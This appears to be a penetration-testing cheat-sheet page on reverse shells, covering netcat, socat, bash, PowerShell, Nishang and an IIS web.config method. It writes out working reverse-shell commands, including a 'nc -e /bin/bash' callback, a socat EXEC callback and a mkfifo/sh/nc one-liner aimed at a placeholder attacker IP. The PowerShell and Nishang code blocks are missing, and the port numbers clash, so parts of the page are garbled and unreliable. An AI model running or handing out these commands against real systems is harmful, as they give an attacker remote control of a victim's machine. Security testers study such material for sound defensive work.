Reverse Shell
In a reverse shell, the target machine connects to the attacker computer.
Netcat
On the attacker computer, first start a listener as follows:
attacker> $ nc -nvlp 443On the victim shell, connect to the attacker IP device:
victim> $ nc -nv <attacker.IP> 4444 -e /bin/bashSocat
On the attacker machine, run socat :
attacker> $ socat -d -d TCP4-LISTEN:4444 STDOUTThen, on the victim shell, connect to the attacker IP device :
victim> $ socat TCP4:<attacker.IP>:4444 EXEC:/bin/bash Bash
As previously, start a listener on the attacker computer.
attacker> $ nc -nvlp 443Then, run the following bash instructions on the victim machine.
victim> $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker IP> 443 >/tmp/fFrom a simple web shell, the following command can be useful:
PowerShell
On the attacker machine, open a netcat listener:
Next, send a PowerShell reverse shell from the victim's computer:
The above command can also be run from a command prompt as follows:
Nishang
First, grab a copy of Nishang’s Invoke-PowerShellTcp.ps1. Then, add the below line at the end of the script to automatically invoke a callback:
Upload this file to the victim computer and execute it. Do not forget to previously start a listener on the attacker server.
Web.config
This method can be very destructive where an application already uses a web.config file that is going to be replaced with ours which might not have all the required settings such as the database connection string or some valid assembly references. It is recommended to not use this technique on live websites when an application might have used a web.config file which is going to be replaced. IIS applications that are inside other applications or virtual directories might not use a web.config file and are generally safer candidates than website’s root directory.
Note that the above content aims to download a Nishang's powershell script from the attacker server and instantly execute it on the victim device. So, it is necessary to previously start a web server and a listener corresponding to the one specified on the Nishang's script (please refer to the previous section to configure it). These both operations can respectively be done as follows:
Last updated